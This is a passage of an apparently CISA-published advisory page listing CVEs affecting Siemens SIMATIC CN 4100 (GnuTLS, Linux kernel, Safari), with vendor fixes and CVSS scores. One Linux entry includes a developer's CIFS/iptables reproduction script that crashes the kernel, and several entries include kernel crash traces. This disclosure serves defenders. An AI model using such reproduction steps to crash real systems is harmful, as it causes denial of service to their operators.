<p>A flaw was found in GnuTLS. This vulnerability allows a denial of service (DoS) by excessive CPU (Central Processing Unit) and memory consumption via specially crafted malicious certificates containing a large number of name constraints and subject alternative names (SANs).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-14831">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/407.html">CWE-407 Inefficient Algorithmic Complexity</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-23143</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: Fix null-ptr-deref by sock_lock_init_class_and_name() and rmmod. When I ran the repro [0] and waited a few seconds, I observed two LOCKDEP splats: a warning immediately followed by a null-ptr-deref. [1] Reproduction Steps: 1) Mount CIFS 2) Add an iptables rule to drop incoming FIN packets for CIFS 3) Unmount CIFS 4) Unload the CIFS module 5) Remove the iptables rule At step 3), the CIFS module calls sock_release() for the underlying TCP socket, and it returns quickly. However, the socket remains in FIN_WAIT_1 because incoming FIN packets are dropped. At this point, the module's refcnt is 0 while the socket is still alive, so the following rmmod command succeeds. # ss -tan State Recv-Q Send-Q Local Address:Port Peer Address:Port FIN-WAIT-1 0 477 10.0.2.15:51062 10.0.0.137:445 # lsmod | grep cifs cifs 1159168 0 This highlights a discrepancy between the lifetime of the CIFS module and the underlying TCP socket. Even after CIFS calls sock_release() and it returns, the TCP socket does not die immediately in order to close the connection gracefully. While this is generally fine, it causes an issue with LOCKDEP because CIFS assigns a different lock class to the TCP socket's sk-&gt;sk_lock using sock_lock_init_class_and_name(). Once an incoming packet is processed for the socket or a timer fires, sk-&gt;sk_lock is acquired. Then, LOCKDEP checks the lock context in check_wait_context(), where hlock_class() is called to retrieve the lock class. However, since the module has already been unloaded, hlock_class() logs a warning and returns NULL, triggering the null-ptr-deref. If LOCKDEP is enabled, we must ensure that a module calling sock_lock_init_class_and_name() (CIFS, NFS, etc) cannot be unloaded while such a socket is still alive to prevent this issue. Let's hold the module reference in sock_lock_init_class_and_name() and release it when the socket is freed in sk_prot_free(). Note that sock_lock_init() clears sk-&gt;sk_owner for svc_create_socket() that calls sock_lock_init_class_and_name() for a listening socket, which clones a socket by sk_clone_lock() without GFP_ZERO. [0]: CIFS_SERVER="10.0.0.137" CIFS_PATH="//${CIFS_SERVER}/Users/Administrator/Desktop/CIFS_TEST" DEV="enp0s3" CRED="/root/WindowsCredential.txt" MNT=$(mktemp -d /tmp/XXXXXX) mount -t cifs ${CIFS_PATH} ${MNT} -o vers=3.0,credentials=${CRED},cache=none,echo_interval=1 iptables -A INPUT -s ${CIFS_SERVER} -j DROP for i in $(seq 10); do umount ${MNT} rmmod cifs sleep 1 done rm -r ${MNT} iptables -D INPUT -s ${CIFS_SERVER} -j DROP [1]: DEBUG_LOCKS_WARN_ON(1) WARNING: CPU: 10 PID: 0 at kernel/locking/lockdep.c:234 hlock_class (kernel/locking/lockdep.c:234 kernel/locking/lockdep.c:223) Modules linked in: cifs_arc4 nls_ucs2_utils cifs_md4 [last unloaded: cifs] CPU: 10 UID: 0 PID: 0 Comm: swapper/10 Not tainted 6.14.0 #36 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:hlock_class (kernel/locking/lockdep.c:234 kernel/locking/lockdep.c:223) ... Call Trace: __lock_acquire (kernel/locking/lockdep.c:4853 kernel/locking/lockdep.c:5178) lock_acquire (kernel/locking/lockdep.c:469 kernel/locking/lockdep.c:5853 kernel/locking/lockdep.c:5816) _raw_spin_lock_nested (kernel/locking/spinlock.c:379) tcp_v4_rcv (./include/linux/skbuff.h:1678 ./include/net/tcp.h:2547 net/ipv4/tcp_ipv4.c:2350) ... BUG: kernel NULL pointer dereference, address: 00000000000000c4 PF: supervisor read access in kernel mode PF: error_code(0x0000) - not-present page PGD 0 Oops: Oops: 0000 [#1] PREEMPT SMP NOPTI CPU: 10 UID: 0 PID: 0 Comm: swapper/10 Tainted: G W 6.14.0 #36 Tainted: [W]=WARN Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:__lock_acquire (kernel/ ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-23143">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-23160</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: media: mediatek: vcodec: Fix a resource leak related to the scp device in FW initialization On Mediatek devices with a system companion processor (SCP) the mtk_scp structure has to be removed explicitly to avoid a resource leak. Free the structure in case the allocation of the firmware structure fails during the firmware initialization.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-23160">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/401.html">CWE-401 Missing Release of Memory after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-31257</a></h3>
<div class="csaf-accordion-content">
<p>This issue was addressed with improved memory handling. This issue is fixed in Safari 18.5, iOS 18.5 and iPadOS 18.5, macOS Sequoia 15.5, tvOS 18.5, visionOS 2.5, watchOS 11.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-31257">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/119.html">CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:L">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-37931</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: btrfs: adjust subpage bit start based on sectorsize When running machines with 64k page size and a 16k nodesize we started seeing tree log corruption in production. This turned out to be because we were not writing out dirty blocks sometimes, so this in fact affects all metadata writes. When writing out a subpage EB we scan the subpage bitmap for a dirty range. If the range isn't dirty we do bit_start++; to move onto the next bit. The problem is the bitmap is based on the number of sectors that an EB has. So in this case, we have a 64k pagesize, 16k nodesize, but a 4k sectorsize. This means our bitmap is 4 bits for every node. With a 64k page size we end up with 4 nodes per page. To make this easier this is how everything looks [0 16k 32k 48k ] logical address [0 4 8 12 ] radix tree offset [ 64k page ] folio [ 16k eb ][ 16k eb ][ 16k eb ][ 16k eb ] extent buffers [ | | | | | | | | | | | | | | | | ] bitmap Now we use all of our addressing based on fs_info-&gt;sectorsize_bits, so as you can see the above our 16k eb-&gt;start turns into radix entry 4. When we find a dirty range for our eb, we correctly do bit_start += sectors_per_node, because if we start at bit 0, the next bit for the next eb is 4, to correspond to eb-&gt;start 16k. However if our range is clean, we will do bit_start++, which will now put us offset from our radix tree entries. In our case, assume that the first time we check the bitmap the block is not dirty, we increment bit_start so now it == 1, and then we loop around and check again. This time it is dirty, and we go to find that start using the following equation start = folio_start + bit_start * fs_info-&gt;sectorsize; so in the case above, eb-&gt;start 0 is now dirty, and we calculate start as 0 + 1 * fs_info-&gt;sectorsize = 4096 4096 &gt;&gt; 12 = 1 Now we're looking up the radix tree for 1, and we won't find an eb. What's worse is now we're using bit_start == 1, so we do bit_start += sectors_per_node, which is now 5. If that eb is dirty we will run into the same thing, we will look at an offset that is not populated in the radix tree, and now we're skipping the writeout of dirty extent buffers. The best fix for this is to not use sectorsize_bits to address nodes, but that's a larger change. Since this is a fs corruption problem fix it simply by always using sectors_per_node to increment the start bit.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-37931">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-37968</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: iio: light: opt3001: fix deadlock due to concurrent flag access The threaded IRQ function in this driver is reading the flag twice: once to lock a mutex and once to unlock it. Even though the code setting the flag is designed to prevent it, there are subtle cases where the flag could be true at the mutex_lock stage and false at the mutex_unlock stage. This results in the mutex not being unlocked, resulting in a deadlock. Fix it by making the opt3001_irq() code generally more robust, reading the flag into a variable and using the variable value at both stages.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-37968">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/667.html">CWE-667 Improper Locking</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38322</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: perf/x86/intel: Fix crash in icl_update_topdown_event() The perf_fuzzer found a hard-lockup crash on a RaptorLake machine: Oops: general protection fault, maybe for address 0xffff89aeceab400: 0000 CPU: 23 UID: 0 PID: 0 Comm: swapper/23 Tainted: [W]=WARN Hardware name: Dell Inc. Precision 9660/0VJ762 RIP: 0010:native_read_pmc+0x7/0x40 Code: cc e8 8d a9 01 00 48 89 03 5b cd cc cc cc cc 0f 1f ... RSP: 000:fffb03100273de8 EFLAGS: 00010046 .... Call Trace: icl_update_topdown_event+0x165/0x190 ? ktime_get+0x38/0xd0 intel_pmu_read_event+0xf9/0x210 __perf_event_read+0xf9/0x210 CPUs 16-23 are E-core CPUs that don't support the perf metrics feature. The icl_update_topdown_event() should not be invoked on these CPUs. It's a regression of commit: f9bdf1f95339 ("perf/x86/intel: Avoid disable PMU if !cpuc-&gt;enabled in sample read") The bug introduced by that commit is that the is_topdown_event() function is mistakenly used to replace the is_topdown_count() call to check if the topdown functions for the perf metrics feature should be invoked. Fix it.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38322">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38347</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: f2fs: fix to do sanity check on ino and xnid syzbot reported a f2fs bug as below: INFO: task syz-executor140:5308 blocked for more than 143 seconds. Not tainted 6.14.0-rc7-syzkaller-00069-g81e4f8d68c66 #0 "echo 0 &gt; /proc/sys/kernel/hung_task_timeout_secs" disables this message. task:syz-executor140 state:D stack:24016 pid:5308 tgid:5308 ppid:5306 task_flags:0x400140 flags:0x00000006 Call Trace: context_switch kernel/sched/core.c:5378 [inline] __schedule+0x190e/0x4c90 kernel/sched/core.c:6765 __schedule_loop kernel/sched/core.c:6842 [inline] schedule+0x14b/0x320 kernel/sched/core.c:6857 io_schedule+0x8d/0x110 kernel/sched/core.c:7690 folio_wait_bit_common+0x839/0xee0 mm/filemap.c:1317 __folio_lock mm/filemap.c:1664 [inline] folio_lock include/linux/pagemap.h:1163 [inline] __filemap_get_folio+0x147/0xb40 mm/filemap.c:1917 pagecache_get_page+0x2c/0x130 mm/folio-compat.c:87 find_get_page_flags include/linux/pagemap.h:842 [inline] f2fs_grab_cache_page+0x2b/0x320 fs/f2fs/f2fs.h:2776 __get_node_page+0x131/0x11b0 fs/f2fs/node.c:1463 read_xattr_block+0xfb/0x190 fs/f2fs/xattr.c:306 lookup_all_xattrs fs/f2fs/xattr.c:355 [inline] f2fs_getxattr+0x676/0xf70 fs/f2fs/xattr.c:533 __f2fs_get_acl+0x52/0x870 fs/f2fs/acl.c:179 f2fs_acl_create fs/f2fs/acl.c:375 [inline] f2fs_init_acl+0xd7/0x9b0 fs/f2fs/acl.c:418 f2fs_init_inode_metadata+0xa0f/0x1050 fs/f2fs/dir.c:539 f2fs_add_inline_entry+0x448/0x860 fs/f2fs/inline.c:666 f2fs_add_dentry+0xba/0x1e0 fs/f2fs/dir.c:765 f2fs_do_add_link+0x28c/0x3a0 fs/f2fs/dir.c:808 f2fs_add_link fs/f2fs/f2fs.h:3616 [inline] f2fs_mknod+0x2e8/0x5b0 fs/f2fs/namei.c:766 vfs_mknod+0x36d/0x3b0 fs/namei.c:4191 unix_bind_bsd net/unix/af_unix.c:1286 [inline] unix_bind+0x563/0xe30 net/unix/af_unix.c:1379 __sys_bind_socket net/socket.c:1817 [inline] __sys_bind+0x1e4/0x290 net/socket.c:1848 __do_sys_bind net/socket.c:1853 [inline] __se_sys_bind net/socket.c:1851 [inline] __x64_sys_bind+0x7a/0x90 net/socket.c:1851 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f Let's dump and check metadata of corrupted inode, it shows its xattr_nid is the same to its i_ino. dump.f2fs -i 3 chaseyu.img.raw i_xattr_nid [0x 3 : 3] So that, during mknod in the corrupted directory, it tries to get and lock inode page twice, result in deadlock. - f2fs_mknod - f2fs_add_inline_entry - f2fs_get_inode_page --- lock dir's inode page - f2fs_init_acl - f2fs_acl_create(dir,..) - __f2fs_get_acl - f2fs_getxattr - lookup_all_xattrs - __get_node_page --- try to lock dir's inode page In order to fix this, let's add sanity check on ino and xnid.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38347">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38491</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: make fallback action and fallback decision atomic Syzkaller reported the following splat: WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 __mptcp_do_fallback net/mptcp/protocol.h:1223 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 mptcp_do_fallback net/mptcp/protocol.h:1244 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 check_fully_established net/mptcp/options.c:982 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 mptcp_incoming_options+0x21a8/0x2510 net/mptcp/options.c:1153 Modules linked in: CPU: 1 UID: 0 PID: 7704 Comm: syz.3.1419 Not tainted 6.16.0-rc3-gbd5ce2324dba #20 PREEMPT(voluntary) Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 RIP: 0010:__mptcp_do_fallback net/mptcp/protocol.h:1223 [inline] RIP: 0010:mptcp_do_fallback net/mptcp/protocol.h:1244 [inline] RIP: 0010:check_fully_established net/mptcp/options.c:982 [inline] RIP: 0010:mptcp_incoming_options+0x21a8/0x2510 net/mptcp/options.c:1153 Code: 24 18 e8 bb 2a 00 fd e9 1b df ff ff e8 b1 21 0f 00 e8 ec 5f c4 fc 44 0f b7 ac 24 b0 00 00 00 e9 54 f1 ff ff e8 d9 5f c4 fc 90 &lt;0f&gt; 0b 90 e9 b8 f4 ff ff e8 8b 2a 00 fd e9 8d e6 ff ff e8 81 2a 00 RSP: 0018:ffff8880a3f08448 EFLAGS: 00010246 RAX: 0000000000000000 RBX: ffff8880180a8000 RCX: ffffffff84afcf45 RDX: ffff888090223700 RSI: ffffffff84afdaa7 RDI: 0000000000000001 RBP: ffff888017955780 R08: 0000000000000001 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000 R13: ffff8880180a8910 R14: ffff8880a3e9d058 R15: 0000000000000000 FS: 00005555791b8500(0000) GS:ffff88811c495000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000110c2800b7 CR3: 0000000058e44000 CR4: 0000000000350ef0 Call Trace: tcp_reset+0x26f/0x2b0 net/ipv4/tcp_input.c:4432 tcp_validate_incoming+0x1057/0x1b60 net/ipv4/tcp_input.c:5975 tcp_rcv_established+0x5b5/0x21f0 net/ipv4/tcp_input.c:6166 tcp_v4_do_rcv+0x5dc/0xa70 net/ipv4/tcp_ipv4.c:1925 tcp_v4_rcv+0x3473/0x44a0 net/ipv4/tcp_ipv4.c:2363 ip_protocol_deliver_rcu+0xba/0x480 net/ipv4/ip_input.c:205 ip_local_deliver_finish+0x2f1/0x500 net/ipv4/ip_input.c:233 NF_HOOK include/linux/netfilter.h:317 [inline] NF_HOOK include/linux/netfilter.h:311 [inline] ip_local_deliver+0x1be/0x560 net/ipv4/ip_input.c:254 dst_input include/net/dst.h:469 [inline] ip_rcv_finish net/ipv4/ip_input.c:447 [inline] NF_HOOK include/linux/netfilter.h:317 [inline] NF_HOOK include/linux/netfilter.h:311 [inline] ip_rcv+0x514/0x810 net/ipv4/ip_input.c:567 __netif_receive_skb_one_core+0x197/0x1e0 net/core/dev.c:5975 __netif_receive_skb+0x1f/0x120 net/core/dev.c:6088 process_backlog+0x301/0x1360 net/core/dev.c:6440 __napi_poll.constprop.0+0xba/0x550 net/core/dev.c:7453 napi_poll net/core/dev.c:7517 [inline] net_rx_action+0xb44/0x1010 net/core/dev.c:7644 handle_softirqs+0x1d0/0x770 kernel/softirq.c:579 do_softirq+0x3f/0x90 kernel/softirq.c:480 __local_bh_enable_ip+0xed/0x110 kernel/softirq.c:407 local_bh_enable include/linux/bottom_half.h:33 [inline] inet_csk_listen_stop+0x2c5/0x1070 net/ipv4/inet_connection_sock.c:1524 mptcp_check_listen_stop.part.0+0x1cc/0x220 net/mptcp/protocol.c:2985 mptcp_check_listen_stop net/mptcp/mib.h:118 [inline] __mptcp_close+0x9b9/0xbd0 net/mptcp/protocol.c:3000 mptcp_close+0x2f/0x140 net/mptcp/protocol.c:3066 inet_release+0xed/0x200 net/ipv4/af_inet.c:435 inet6_release+0x4f/0x70 net/ipv6/af_inet6.c:487 __sock_release+0xb3/0x270 net/socket.c:649 sock_close+0x1c/0x30 net/socket.c:1439 __fput+0x402/0xb70 fs/file_table.c:465 task_work_run+0x150/0x240 kernel/task_work.c:227 resume_user_mode_work include/linux/resume_user_mode.h:50 [inline] exit_to_user_mode_loop+0xd4 ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38491">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
